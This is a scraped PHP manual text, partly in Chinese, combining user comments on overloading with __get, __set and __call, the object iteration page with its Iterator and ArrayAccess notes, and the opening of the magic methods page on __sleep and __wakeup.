$UnexpectedBehaviour->DontAllowVariableNameWithTyphos = false; // see if below

// Get, Set and Call anything you want!
$UnexpectedBehaviour->EveryPosibleMethodCallAllowed(true, 'Why Not?');

// And sure, why not use the most illegal property names you can think off
$UnexpectedBehaviour->{'100%Illegal+Names'} = 'allowed';

// This Very confusing syntax seems to allow access to $Number but because of
// the lowered visibility it goes to __set()
$UnexpectedBehaviour->Number = 10;

// We can SEEM to increment it too! (that's really dynamic! :-) NULL++ LMAO
$UnexpectedBehaviour->Number++;

// this ofcourse outputs NULL (through __get) and not the PERHAPS expected 11
var_dump($UnexpectedBehaviour->Number);

// and sure, private method calls LOOK valid now!
// (this goes to __call, so no fatal error)
$UnexpectedBehaviour->veryPrivateMethod();

// Because the previous was __set to false, next expression is true
// if we didn't had __set, the previous assignment would have failed
// then you would have corrected the typho and this code will not have
// been executed. (This can really be a BIG PAIN)
if ($UnexpectedBehaviour->DontAllowVariableNameWithTypos) {
  // if this code block would have deleted a file, or do a deletion on
  // a database, you could really be VERY SAD for a long time!
  $UnexpectedBehaviour->executeStuffYouDontWantHere(true);
}
?>
Anonymous 08-Apr-2015 03:34
Using magic methods, especially __get(), __set(), and __call() will effectively disable autocomplete in most IDEs (eg.: IntelliSense) for the affected classes.

To overcome this inconvenience, use phpDoc to let the IDE know about these magic methods and properties: @method, @property, @property-read, @property-write.

/**
 * @property-read name
 * @property-read price
 */
class MyClass
{
    private $properties = array('name' => 'IceFruit', 'price' => 2.49)

    public function __get($name)
    {
        return $this->properties($name);
    }
}
gabe at fijiwebdesign dot com 27-Nov-2014 11:33
Note that you can enable "overloading" on a class instance at runtime for an existing property by unset()ing that property.

eg:

<?php
class Test {

    public $property1;

    public function __get($name)
    {
        return "Get called for " . get_class($this) . "->\$$name \n";
    }

}
?>

The public property $property1 can be unset() so that it can be dynamically handled via __get().

<?php
$Test = new Test();
unset($Test->property1); // enable overloading
echo $Test->property1; // Get called for Test->$property1
?>

Useful if you want to proxy or lazy load properties yet want to have documentation and visibility in the code and debugging compared to __get(), __isset(), __set() on non-existent inaccessible properties.
cottton at i-stats dot net 13-Sep-2014 02:58
Actually you dont need __set ect imo.
You could use it to set (pre-defined) protected (and in "some" cases private) properties . But who wants that?
(test it by uncommenting private or protected)
(pastebin because long ...) => http://pastebin.com/By4gHrt5
Nanhe Kumar 17-Jan-2014 10:47
<?php
//How can implement __call function you understand better
class Employee {

    protected $_name;
    protected $_email;
    protected $_compony;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Employee();
$s->setName('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Notice: Undefined property setAge in
?>
theaceofthespade at gmail dot com 23-Mar-2012 09:35
A word of warning!  It may seem obvious, but remember, when deciding whether to use __get, __set, and __call as a way to access the data in your class (as opposed to hard-coding getters and setters), keep in mind that this will prevent any sort of autocomplete, highlighting, or documentation that your ide mite do.

Furthermore, it beyond personal preference when working with other people.  Even without an ide, it can be much easier to go through and look at hardcoded member and method definitions in code, than having to sift through code and piece together the method/member names that are assembled in __get and __set.

If you still decide to use __get and __set for everything in your class, be sure to include detailed comments and documenting, so that the people you are working with (or the people who inherit the code from you at a later date) don't have to waste time interpreting your code just to be able to use it.
dans at dansheps dot com 01-Aug-2011 08:38
Since this was getting me for a little bit, I figure I better pipe in here...

For nested calls to private/protected variables(probably functions too) what it does is call a __get()  on the first object, and if you return the nested object, it then calls a __get() on the nested object because, well it is protected as well.

EG:
<?php
class A
{
protected $B

public function __construct()
{
$this->B = new B();
}

public function __get($variable)
{
echo "Class A::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

class B
{
protected $val

public function __construct()
{
$this->val = 1;
}

public function __get($variable)
{
echo "Class B::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

$A = new A();

echo "Final Value: " . $A->B->val;
?>

That will return something like...

Class A::Variable B
Class B::Variable val
Final Value: 1

It seperates the calls into $A->B and $B->val

Hope this helps someone
Daniel Smith 23-May-2011 04:15
Be careful of __call in case you have a protected/private method. Doing this:

<?php
class TestMagicCallMethod {
    public function foo()
    {
        echo __METHOD__.PHP_EOL;
    }

    public function __call($method, $args)
    {
        echo __METHOD__.PHP_EOL;
        if(method_exists($this, $method))
        {
            $this->$method();
        }
    }

    protected function bar()
    {
        echo __METHOD__.PHP_EOL;
    }

    private function baz()
    {
        echo __METHOD__.PHP_EOL;
    }
}

$test    =    new TestMagicCallMethod();
$test->foo();
/**
 * Outputs:
 * TestMagicCallMethod::foo
 */

$test->bar();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::bar
 */

$test->baz();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::baz
 */
?>

..is probably not what you should be doing. Always make sure that the methods you call in __call are allowed as you probably dont want all the private/protected methods to be accessed by a typo or something.
php at lanar dot com dot au 12-Jun-2010 05:39
Note that __isset is not called on chained checks.
If isset( $x->a->b ) is executed where $x is a class with __isset() declared, __isset() is not called.

<?php

class demo
{
    var $id ;
    function __construct( $id = 'who knows' )
    {
        $this->id = $id ;
    }
    function __get( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return new demo( 'autocreated' ) ; // return a class anyway for the demo
    }
    function __isset( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return FALSE ;
    }
}
$x = new demo( 'demo' ) ;
echo "\n", 'Calls __isset() on demo as expected when executing isset( $x->a )' ;
$ret = isset( $x->a ) ;
echo "\n", 'Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )' ;
$ret = isset( $x->a->b ) ;
?>

Outputs

Calls __isset() on demo as expected when executing isset( $x->a )
C:\htdocs\test.php:31 demo::__isset(a) instance demo
Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )
C:\htdocs\test.php:26 demo::__get(a) instance demo
C:\htdocs\test.php:31 demo::__isset(b) instance autocreated
navarr at gtaero dot net 15-May-2010 01:25
If you want to make it work more naturally for arrays $obj->variable[] etc you'll need to return __get by reference.

<?php
class Variables
{
        public function __construct()
        {
                if(session_id() === "")
                {
                        session_start();
                }
        }
        public function __set($name,$value)
        {
                $_SESSION["Variables"][$name] = $value;
        }
        public function &__get($name)
        {
                return $_SESSION["Variables"][$name];
        }
        public function __isset($name)
        {
                return isset($_SESSION["Variables"][$name]);
        }
}
?>
strata_ranger at hotmail dot com 07-Oct-2009 09:56
Combining two things noted previously:

1 - Unsetting an object member removes it from the object completely, subsequent uses of that member will be handled by magic methods.
2 - PHP will not recursively call one magic method from within itself (at least for the same $name).

This means that if an object member has been unset(), it IS possible to re-declare that object member (as public) by creating it within your object's __set() method, like this:

<?php
class Foo
{
  function __set($name, $value)
  {
    // Add a new (public) member to this object.
    // This works because __set() will not recursively call itself.
    $this->$name= $value;
  }
}

$foo = new Foo();

// $foo has zero members at this point
var_dump($foo);

// __set() will be called here
$foo->bar = 'something'; // Calls __set()

// $foo now contains one member
var_dump($foo);

// Won't call __set() because 'bar' is now declared
$foo->bar = 'other thing';

?>

Also be mindful that if you want to break a reference involving an object member without triggering magic functionality, DO NOT unset() the object member directly.  Instead use =& to bind the object member to any convenient null variable.
daevid at daevid dot com 14-May-2009 09:16
Here's a handy little routine to suggest properties you're trying to set that don't exist. For example:

Attempted to __get() non-existant property/variable 'operator_id' in class 'User'.

checking for operator and suggesting the following:

    * id_operator
    * operator_name
    * operator_code

enjoy.

<?php
    /**
     * Suggests alternative properties should a __get() or __set() fail
     *
     * @param     string $property
     * @return string
     * @author Daevid Vincent [daevid@daevid.com]
     * @date    05/12/09
     * @see        __get(), __set(), __call()
     */
    public function suggest_alternative($property)
    {
        $parts = explode('_',$property);
        foreach($parts as $i => $p) if ($p == '_' || $p == 'id') unset($parts[$i]);

        echo 'checking for <b>'.implode(', ',$parts)."</b> and suggesting the following:<br/>\n";

        echo "<ul>";
        foreach($this as $key => $value)
            foreach($parts as $p)
                if (stripos($key, $p) !== false) print '<li>'.$key."</li>\n";
        echo "</ul>";
    }

just put it in your __get() or __set() like so:

    public function __get($property)
    {
            echo "<p><font color='#ff0000'>Attempted to __get() non-existant property/variable '".$property."' in class '".$this->get_class_name()."'.</font><p>\n";
            $this->suggest_alternative($property);
            exit;
    }
?>
Ant P. 21-Dec-2008 08:40
Be extra careful when using __call():  if you typo a function call somewhere it won't trigger an undefined function error, but get passed to __call() instead, possibly causing all sorts of bizarre side effects.
In versions before 5.3 without __callStatic, static calls to nonexistent functions also fall through to __call!
This caused me hours of confusion, hopefully this comment will save someone else from the same.
timshaw at mail dot NOSPAMusa dot com 28-Jan-2008 09:47
The __get overload method will be called on a declared public member of an object if that member has been unset.

<?php
class c {
  public $p ;
  public function __get($name) { return "__get of $name" ; }
}

$c = new c ;
echo $c->p, "\n" ;    // declared public member value is empty
$c->p = 5 ;
echo $c->p, "\n" ;    // declared public member value is 5
unset($c->p) ;
echo $c->p, "\n" ;    // after unset, value is "__get of p"
?>
matthijs at yourmediafactory dot com 16-Dec-2007 11:09
While PHP does not support true overloading natively, I have to disagree with those that state this can't be achieved trough __call.

Yes, it's not pretty but it is definately possible to overload a member based on the type of its argument. An example:
<?php
class A {

  public function __call ($member, $arguments) {
    if(is_object($arguments[0]))
      $member = $member . 'Object';
    if(is_array($arguments[0]))
      $member = $member . 'Array';
    $this -> $member($arguments);
  }

  private function testArray () {
    echo "Array.";
  }

  private function testObject () {
    echo "Object.";
  }
}

class B {
}

$class = new A;
$class -> test(array()); // echo's 'Array.'
$class -> test(new B); // echo's 'Object.'
?>

Of course, the use of this is questionable (I have never needed it myself, but then again, I only have a very minimalistic C++ & JAVA background). However, using this general principle and optionally building forth on other suggestions a 'form' of overloading is definately possible, provided you have some strict naming conventions in your functions.

It would of course become a LOT easier once PHP'd let you declare the same member several times but with different arguments, since if you combine that with the reflection class 'real' overloading comes into the grasp of a good OO programmer. Lets keep our fingers crossed!
egingell at sisna dot com 15-Sep-2007 05:12
Small vocabulary note: This is *not* "overloading", this is "overriding".

Overloading: Declaring a function multiple times with a different set of parameters like this:
<?php

function foo($a) {
    return $a;
}

function foo($a, $b) {
    return $a + $b;
}

echo foo(5); // Prints "5"
echo foo(5, 2); // Prints "7"

?>

Overriding: Replacing the parent class's method(s) with a new method by redeclaring it like this:
<?php

class foo {
    function new($args) {
        // Do something.
    }
}

class bar extends foo {
    function new($args) {
        // Do something different.
    }
}

?>
php at sleep is the enemy dot co dot uk 23-Jul-2007 07:23
Just to reinforce and elaborate on what DevilDude at darkmaker dot com said way down there on 22-Sep-2004 07:57.

The recursion detection feature can prove especially perilous when using __set. When PHP comes across a statement that would usually call __set but would lead to recursion, rather than firing off a warning or simply not executing the statement it will act as though there is no __set method defined at all. The default behaviour in this instance is to dynamically add the specified property to the object thus breaking the desired functionality of all further calls to __set or __get for that property.

Example:

<?php

class TestClass{

    public $values = array();

    public function __get($name){
        return $this->values[$name];
    }

    public function __set($name, $value){
        $this->values[$name] = $value;
        $this->validate($name);
    }

    public function validate($name){
        /*
        __get will be called on the following line
        but as soon as we attempt to call __set
        again PHP will refuse and simply add a
        property called $name to $this
        */
        $this->$name = trim($this->$name);
    }
}

$tc = new TestClass();

$tc->foo = 'bar';
$tc->values['foo'] = 'boing';

echo '$tc->foo == ' . $tc->foo . '<br>';
echo '$tc ' . (property_exists($tc, 'foo') ? 'now has' : 'still does not have') . ' a property called "foo"<br>';

/*
OUPUTS:
$tc->foo == bar
$tc now has a property called "foo"
*/

?>
Adeel Khan 10-Jul-2007 01:18
Observe:

<?php
class Foo {
    function __call($m, $a) {
        die($m);
    }
}

$foo = new Foo;
print $foo->{'wow!'}();

// outputs 'wow!'
?>

This method allows you to call functions with invalid characters.
alexandre at nospam dot gaigalas dot net 07-Jul-2007 10:59
PHP 5.2.1

Its possible to call magic methods with invalid names using variable method/property names:

<?php

class foo
{
    function __get($n)
    {
        print_r($n);
    }
    function __call($m, $a)
    {
        print_r($m);
    }
}

$test = new foo;
$varname = 'invalid,variable+name';
$test->$varname;
$test->$varname();

?>

I just don't know if it is a bug or a feature :)
jstubbs at work-at dot co dot jp 02-Sep-2006 09:12
<?php $myclass->foo['bar'] = 'baz'; ?>

When overriding __get and __set, the above code can work (as expected) but it depends on your __get implementation rather than your __set. In fact, __set is never called with the above code. It appears that PHP (at least as of 5.1) uses a reference to whatever was returned by __get. To be more verbose, the above code is essentially identical to:

<?php
$tmp_array = &$myclass->foo;
$tmp_array['bar'] = 'baz';
unset($tmp_array);
?>

Therefore, the above won't do anything if your __get implementation resembles this:

<?php
function __get($name) {
    return array_key_exists($name, $this->values)
        ? $this->values[$name] : null;
}
?>

You will actually need to set the value in __get and return that, as in the following code:

<?php
function __get($name) {
    if (!array_key_exists($name, $this->values))
        $this->values[$name] = null;
    return $this->values[$name];
}
?>
PHP at jyopp dotKomm 22-Dec-2005 11:01
Here's a useful class for logging function calls.  It stores a sequence of calls and arguments which can then be applied to objects later.  This can be used to script common sequences of operations, or to make "pluggable" operation sequences in header files that can be replayed on objects later.

If it is instantiated with an object to shadow, it behaves as a mediator and executes the calls on this object as they come in, passing back the values from the execution.

This is a very general implementation; it should be changed if error codes or exceptions need to be handled during the Replay process.
<?php
class MethodCallLog {
    private $callLog = array();
    private $object;

    public function __construct($object = null) {
        $this->object = $object;
    }
    public function __call($m, $a) {
        $this->callLog[] = array($m, $a);
        if ($this->object) return call_user_func_array(array(&$this->object,$m),$a);
        return true;
    }
    public function Replay(&$object) {
        foreach ($this->callLog as $c) {
            call_user_func_array(array(&$object,$c[0]), $c[1]);
        }
    }
    public function GetEntries() {
        $rVal = array();
        foreach ($this->callLog as $c) {
            $rVal[] = "$c[0](".implode(', ', $c[1]).");";
        }
        return $rVal;
    }
    public function Clear() {
        $this->callLog = array();
    }
}

$log = new MethodCallLog();
$log->Method1();
$log->Method2("Value");
$log->Method1($a, $b, $c);
// Execute these method calls on a set of objects...
foreach ($array as $o) $log->Replay($o);
?>
Marius 02-May-2005 02:15
for anyone who's thinking about traversing some variable tree
by using __get() and __set(). i tried to do this and found one
problem: you can handle couple of __get() in a row by returning
an object which can handle consequential __get(), but you can't
handle __get() and __set() that way.
i.e. if you want to:
<?php
    print($obj->val1->val2->val3); // three __get() calls
?> - this will work,
but if you want to:
<?php
    $obj->val1->val2 = $val; // one __get() and one __set() call
?> - this will fail with message:
"Fatal error: Cannot access undefined property for object with
 overloaded property access"
however if you don't mix __get() and __set() in one expression,
it will work:
<?php
    $obj->val1 = $val; // only one __set() call
    $val2 = $obj->val1->val2; // two __get() calls
    $val2->val3 = $val; // one __set() call
?>

as you can see you can split __get() and __set() parts of
expression into two expressions to make it work.

by the way, this seems like a bug to me, will have to report it.
DevilDude at darkmaker dot com 22-Sep-2004 07:57
Php 5 has a simple recursion system that stops you from using overloading within an overloading function, this means you cannot get an overloaded variable within the __get method, or within any functions/methods called by the _get method, you can however call __get manualy within itself to do the same thing.


遍历对象

PHP 提供了一种定义对象的方法使其可以通过单元列表来遍历，例如用 foreach 语句。默认情况下，所有可见属性都将被用于遍历。

Example #1 简单的对象遍历

<?php
class MyClass
{
public $var1 = 'value 1';
public $var2 = 'value 2';
public $var3 = 'value 3';

protected $protected = 'protected var';
private $private = 'private var';

function iterateVisible() {
echo "MyClass::iterateVisible:\n";
foreach ($this as $key => $value) {
print "$key => $value\n";
}
}
}

$class = new MyClass();

foreach($class as $key => $value) {
print "$key => $value\n";
}
echo "\n";

$class->iterateVisible();

?>

以上示例会输出：

var1 => value 1
var2 => value 2
var3 => value 3

MyClass::iterateVisible:
var1 => value 1
var2 => value 2
var3 => value 3
protected => protected var
private => private var

如上所示，foreach 遍历了所有其能够访问的可见属性。

参见

  • 生成器
  • Iterator
  • IteratorAggregate
  • SPL 迭代器

User Contributed Notes

mike at eastghost dot com 05-Feb-2023 08:32
The days of lovely care-to-the-wind typecasting are coming to close.  Finding this devilish bug took us entirely too long.

PHP-8.2.1 was throwing errors seemingly uncaught (they were eventually seen amassing in  / var / log / apache / DOMAIN-ssl-err.log  ) due to mismatch between return types of the necessary interface methods in our 'implements \Iterator' class (which had worked fine for many years, until our leap up to 8.2.1) versus the interface methods required by PHP.

Particularly:

next()
=====
ours:
public function next() {...}

PHP-8.2.1's
public function next() : void {...}

valid()
======
ours:
public function valid() {...}

PHP-8.2.1's:
public function valid() : bool {...}

key()
====
ours:
public function key() {...}

PHP-8.2.1's:
public function key() : mixed {...}

rewind()
========
ours:
public function rewind() {...}

PHP-8.2.1's:
public function rewind() : void {...}

current()
=======
ours:
public function current() {...}

PHP-8.2.1's:
public function current() : mixed {...}

We added the missing / now all-important return types to our function/method declarations and everything instantly worked again.

This extreme stringency is not made clear enough, IMHO, in the Iterator manual page.
celsowm 19-Jun-2019 12:51
I've created a dinamic version of grzeniufication code to allow un-, serialize more than one property:

<?php

class Person implements \Serializable {

    public $id;
    public $name;
    public $birthDate;
    public $surname;

    public function serialize() {
        return serialize((array) $this);
    }

    public function unserialize($serialized): void {

        foreach (unserialize($serialized) as $p => $v) {
            $this->{$p} = $v;
        }
    }

}
Anonymous 23-Feb-2018 03:03
szerintetek ez normális, hogy objektumon végigiterálhatsz???
php dot net dot nsp at cvogt dot org 01-Jul-2012 10:25
there is still an open bug about using current() etc. with iterators
https://bugs.php.net/bug.php?id=49369
jille at hexon dot cx 15-May-2012 12:29
Please note that if you implement your iterator this way instead of with an IteratorAggregate you can not nest foreach-loops. This is because when the inner-loop is done the cursor is beyond the last element, then the outer-loop asks for the next element and finds the cursor beyond the last element as the innter-loop left it there.

<?php
 // Wont work!
foreach($collection as $a) {
  foreach($collection as $b) {
    var_dump($a->someFunc($b));
  }
}
?>
hlegius at gmail dot com 15-Oct-2008 05:06
Iterator interface usign key() next() rewind() is MORE slow than extends ArrayIterator with ArrayIterator::next(), ArrayIterator::rewind(), etc.,
wavetrex A(nospam)T gmail DOT com 01-Mar-2008 02:50
By reading the posts below I wondered if it really is impossible to make an ArrayAccess implementation really behave like a true array ( by being multi level )

Seems like it's not impossible. Not very preety but usable

<?php

class ArrayAccessImpl implements ArrayAccess {

  private $data = array();

  public function offsetUnset($index) {}

  public function offsetSet($index, $value) {
//    echo ("SET: ".$index."<br>");

    if(isset($data[$index])) {
        unset($data[$index]);
    }

    $u = &$this->data[$index];
    if(is_array($value)) {
        $u = new ArrayAccessImpl();
        foreach($value as $idx=>$e)
            $u[$idx]=$e;
    } else
        $u=$value;
  }

  public function offsetGet($index) {
//    echo ("GET: ".$index."<br>");

    if(!isset($this->data[$index]))
        $this->data[$index]=new ArrayAccessImpl();

    return $this->data[$index];
  }

  public function offsetExists($index) {
//    echo ("EXISTS: ".$index."<br>");

    if(isset($this->data[$index])) {
        if($this->data[$index] instanceof ArrayAccessImpl) {
            if(count($this->data[$index]->data)>0)
                return true;
            else
                return false;
        } else
            return true;
    } else
        return false;
  }

}

echo "ArrayAccess implementation that behaves like a multi-level array<hr />";

$data = new ArrayAccessImpl();

$data['string']="Just a simple string";
$data['number']=33;
$data['array']['another_string']="Alpha";
$data['array']['some_object']=new stdClass();
$data['array']['another_array']['x']['y']="LOL @ Whoever said it can't be done !";
$data['blank_array']=array();

echo "'array' Isset? "; print_r(isset($data['array'])); echo "<hr />";
echo "<pre>"; print_r($data['array']['non_existent']); echo "</pre>If attempting to read an offset that doesn't exist it returns a blank object! Use isset() to check if it exists!<br>";
echo "'non_existent' Isset? "; print_r(isset($data['array']['non_existent'])); echo "<br />";
echo "<pre>"; print_r($data['blank_array']); echo "</pre>A blank array unfortunately returns similar results :(<br />";
echo "'blank_array' Isset? "; print_r(isset($data['blank_array'])); echo "<hr />";
echo "<pre>"; print_r($data); echo "</pre> (non_existent remains in the structure. If someone can help to solve this I'll appreciate it)<hr />";

echo "Display some value that exists: ".$data['array']['another_string'];

?>

(in the two links mentioned below by artur at jedlinski... they say you can't use references, so I didn't used them.
My implementation uses recursive objects)

If anyone finds a better (cleaner) sollution, please e-mail me.
Thanks,
Wave.
doctorrock83_at_gmail.com 18-May-2007 03:10
Please remember that actually the only PHP iterating structure that uses Iterator is foreach().

Any each() or list() applied to an Object implementing iterator will not provide the expected result
artur at jedlinski dot pl 22-Apr-2007 12:38
One should be aware that ArrayAccess functionality described by "just_somedood at yahoo dot com" below is currently broken and thus it's pretty unusable.

Read following links to find more:
http://bugs.php.net/bug.php?id=34783
http://bugs.php.net/bug.php?id=32983
rune at zedeler dot dk 27-Feb-2007 08:00
The iterator template from knj at aider dot dk does not yield correct results.
If you do
<?
reset($a);
next($a);
echo current($a);
?>
where $a is defined over the suggested template, then the first element will be output, not the second, as expected.
baldurien at bbnwn dot eu 09-Aug-2006 06:01
Beware of how works iterator in PHP if you come from Java!

In Java, iterator works like this :
<?php
interface Iterator<O> {
  boolean hasNext();
  O next();
  void remove();
}
?>
But in php, the interface is this (I kept the generics and type because it's easier to understand)

<?php
interface Iterator<O> {
  boolean valid();
  mixed key();
  O current();
  void next();
  void previous();
  void rewind();
}
?>

1. valid() is more or less the equivalent of hasNext()
2. next() is not the equivalent of java next(). It returns nothing, while Java next() method return the next object, and move to next object in Collections. PHP's next() method will simply move forward.

Here is a sample with an array, first in java, then in php :

<?php
class ArrayIterator<O> implements Iterator<O> {
  private final O[] array;
  private int index = 0;

  public ArrayIterator(O[] array) {
     this.array = array;
  }

  public boolean hasNext() {
    return index < array.length;
  }

  public O next() {
     if ( !hasNext())
       throw new NoSuchElementException('at end of array');
     return array[index++];
  }

  public void remove() {
    throw new UnsupportedOperationException('remove() not supported in array');
  }
}
?>

And here is the same in php (using the appropriate function) :

<?php
/**
 * Since the array is not mutable, it should use an internal
 * index over the number of elements for the previous/next
 * validation.
 */
class ArrayIterator implements Iterator {
  private $array;
  public function __construct($array) {
    if ( !is_array($array))
      throw new IllegalArgumentException('argument 0 is not an array');
    $this->array = array;
    $this->rewind();
  }
  public function valid() {
    return current($this->array) !== false;
    // that's the bad method (should use arrays_keys, + index)
  }
  public function key() {
     return key($this->array);
  }
  public function current() {
    return current($this->array);
  }
  public function next() {
    if ( $this->valid())
      throw new NoSuchElementException('at end of array');
    next($this->array);
  }
  public function previous()  {
    // fails if current() = first item of array
    previous($this->array);
  }
  public function rewind() {
     reset($this->array);
  }
}
?>

The difference is notable : don't expect next() to return something like in Java, instead use current(). This also means that you have to prefetch your collection to set the current() object. For instance, if you try to make a Directory iterator (like the one provided by PECL), rewind should invoke next() to set the first element and so on. (and the constructor should call rewind())

Also, another difference :

<?php
class ArrayIterable<O> implements Iterable<O> {
  private final O[] array;

  public ArrayIterable(O[] array) {
     this.array = array;
  }

  public Iterator<O> iterator() {
     return new ArrayIterator(array);
  }
}
?>

When using an Iterable, in Java 1.5, you may do such loops :

<?php
for ( String s : new ArrayIterable<String>(new String[] {"a", "b"})) {
  ...
}
?>
Which is the same as :

<?php
Iterator<String> it = new ArrayIterable<String>(new String[] {"a", "b"});
while (it.hasNext()) {
  String s = it.next();
  ...
}
?>
While in PHP it's not the case :
<?php
foreach ( $iterator as $current ) {
  ...
}
?>
Is the same as :

<?php
for ( $iterator->rewind(); $iterator->valid(); $iterator->next()) {
  $current = $iterator->current();
  ...
}
?>

(I think we may also use IteratorAggregate to do it like with Iterable).

Take that in mind if you come from Java.

I hope this explanation is not too long...
chad 0x40 herballure 0x2e com 05-May-2006 06:46
The example code given for valid() will break if the array contains a FALSE value. This code prints out a single "bool(true)" and exits the loop when it gets to the FALSE:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(current($A) !== FALSE) {
  var_dump(current($A));
  next($A);
}
?>

Instead, the key() function should be used, since it returns NULL only at the end of the array. This code displays all four elements and then exits:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(!is_null(key($A))) {
  var_dump(current($A));
  next($A);
}
?>
markushe at web dot de 06-Aug-2005 11:05
Just something i noticed:
It seems, that when you are implementing the interface Iterator, yout method key() has to return a string or integer.

I was trying to return a object an got this error:
Illegal type returned from MyClass::key()
just_somedood at yahoo dot com 27-Jun-2005 12:20
To clarify on php at moechofe's post, you CAN use the SPL to overide the array operator for a class.  This, with the new features of object, and autoloading (among a buch of other things) has me completely sold on PHP5.  You can also find this information on the SPL portion of the manual, but I'll post it here as well so it isn't passed up.  The below Collection class will let you use the class as an array, while also using the foreach iterator:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
    public $objectArray = Array();
    //**these are the required iterator functions
    function offsetExists($offset)
    {
        if(isset($this->objectArray[$offset]))  return TRUE;
        else return FALSE;
    }

    function & offsetGet($offset)
    {
        if ($this->offsetExists($offset))  return $this->objectArray[$offset];
        else return (false);
    }

    function offsetSet($offset, $value)
    {
        if ($offset)  $this->objectArray[$offset] = $value;
        else  $this->objectArray[] = $value;
    }

    function offsetUnset($offset)
    {
        unset ($this->objectArray[$offset]);
    }

    function & getIterator()
    {
        return new ArrayIterator($this->objectArray);
    }
    //**end required iterator functions

    public function doSomething()
    {
        echo "I'm doing something";
    }
}

?>

I LOVE the new SPL stuff in PHP!  An example of usage is below:

<?php
class Contact
{
    protected $name = NULL;

    public function set_name($name)
    {
        $this->name = $name;
    }

    public function get_name()
    {
        return ($this->name);
    }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This makes code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
PrzemekG_ at poczta dot onet dot pl 27-May-2005 04:20
If you want to do someting like this:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>
you must return values by reference in your iterator object:
<?php
class MyObject implements Iterator
{
/* ...... other iterator functions ...... */
/* return by reference */
public function &current()
{
   return $something;
}
?>

This won't change values:
<?php
foreach($MyObject as $key => $value)
   $value = 'new '.$value;
?>

This will change values:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>

I think this should be written somewhere in the documentations, but I couldn't find it.
elias at need dot spam 10-Apr-2005 03:15
The MyIterator::valid() method above ist bad, because it
breaks on entries with 0 or empty strings, use key() instead:

<?php
public function valid()
{
    return ! is_null(key($this->var));
}
?>

read about current() drawbacks:
http://php.net/current
strrev('ed.relpmeur@ekneos'); 01-Mar-2005 02:25
Use the SPL ArrayAccess interface to call an object as array:

http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html
phpnet at nicecupofteaandasitdown dot com 22-Feb-2005 08:09
You should be prepared for your iterator's current method to be called before its next method is ever called. This certainly happens in a foreach loop. If your means of finding the next item is expensive you might want to use something like this

private $item;

function next() {
    $this->item = &$this->getNextItem();
    return $this->item;
}

public function current() {
     if(!isset($this->item)) $this->next();
    return $this->item;
}
knj at aider dot dk 18-Dec-2004 07:19
if you in a string define classes that implements IteratorAggregate.
you cant use the default;
<?
...
public function getIterator() {
       return new MyIterator(\\$this-><What ever>);
}
..
?>
at least not if you want to use eval(<The string>).
You have to use:
<?
...
public function getIterator() {
      \\$arrayObj=new ArrayObject(\\$this-><What ever>);
      return \\$arrayObj->getIterator();
}
...
?>


魔术方法

魔术方法是一种特殊的方法，当对对象执行某些操作时会覆盖 PHP 的默认操作。

Caution

PHP 保留所有以 __ 开头的方法名称。 因此，除非覆盖 PHP 的行为，否则不建议使用此类方法名称。

下列方法名被认为是魔术方法：

__construct() 、
__destruct() 、
__call() 、
__callStatic() 、
__get() 、
__set() 、
__isset() 、
__unset() 、
__sleep() 、
__wakeup() 、
__serialize() 、
__unserialize() 、
__toString() 、
__invoke() 、
__set_state() 、
__clone() 、
__debugInfo() 。

Warning

除了 __construct()，
__destruct() ，和
__clone() 之外的所有魔术方法都
必须 声明为 public，
否则会发出 E_WARNING。
在 PHP 8.0.0 之前没有为魔术方法
__sleep() 、
__wakeup() 、
__serialize() 、
__unserialize() 、
__set_state() 发出诊断信息。

Warning

如果定义魔术方法时使用类型声明，它们必须与本文档中描述的签名相同，否则会发出致命错误。 在 PHP 8.0.0 之前，不会发出诊断信息。 然而， __construct() 和 __destruct() 不能声明返回类型， 否则会发出致命错误。

__sleep() 和 __wakeup()

public __sleep(): array
public __wakeup(): void

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。此功能可以用于清理对象，并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容，则 null 被序列化，并产生一个 E_NOTICE 级别的错误。

Note:

__sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。使用 __serialize() 接口替代。

Note:

自 PHP 8.0.0 起，__sleep() 的返回值不是数组会生成 warning。之前生成 notice。

